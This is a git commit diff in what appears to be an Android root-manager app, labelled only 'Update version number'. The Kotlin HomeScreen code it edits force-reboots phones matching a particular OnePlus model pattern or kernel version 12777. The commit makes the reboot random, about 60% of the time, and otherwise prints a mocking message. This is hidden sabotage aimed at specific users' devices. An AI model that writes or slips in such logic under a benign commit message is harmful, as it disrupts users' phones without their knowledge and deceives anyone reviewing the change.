Update version number

This commit is contained in:
ShirkNeko
2025-04-14 20:17:16 +08:00
parent 378b8458f2
commit e0650ade4f
2 changed files with 8 additions and 4 deletions

View File

@@ -117,4 +117,4 @@ KPM模板地址: https://github.com/udochina/KPM-Build-Anywhere
- [Magisk](https://github.com/topjohnwu/Magisk):强大的 root 工具 - [Magisk](https://github.com/topjohnwu/Magisk):强大的 root 工具
- [genuine](https://github.com/brevent/genuine/)APK v2 签名验证 - [genuine](https://github.com/brevent/genuine/)APK v2 签名验证
- [Diamorphine](https://github.com/m0nad/Diamorphine):一些 rootkit 技能 - [Diamorphine](https://github.com/m0nad/Diamorphine):一些 rootkit 技能
- [KernelPatch](https://github.com/bmax121/KernelPatch): KernelPatch是APatch实现内核模块的关键部分 - [KernelPatch](https://github.com/bmax121/KernelPatch): KernelPatch是APatch实现内核模块的关键部分

View File

@@ -99,15 +99,19 @@ fun HomeScreen(navigator: DestinationsNavigator) {
if (kernelVersion.isGKI()) { if (kernelVersion.isGKI()) {
if (ksuVersion != null) { if (ksuVersion != null) {
val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex() val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex()
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 3) { if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 20) {
isDisabled = true isDisabled = true
} }
} }
LaunchedEffect(isDisabled, ksuVersion) { LaunchedEffect(isDisabled, ksuVersion) {
if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) { if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) {
Log.d("HomeScreen", "isDisabled is true or ksuVersion is 12777, rebooting device...") val random = Random.nextInt(0, 100)
reboot() if (random <= 60) {
reboot()
} else {
print("zako zako")
}
} }
} }
} }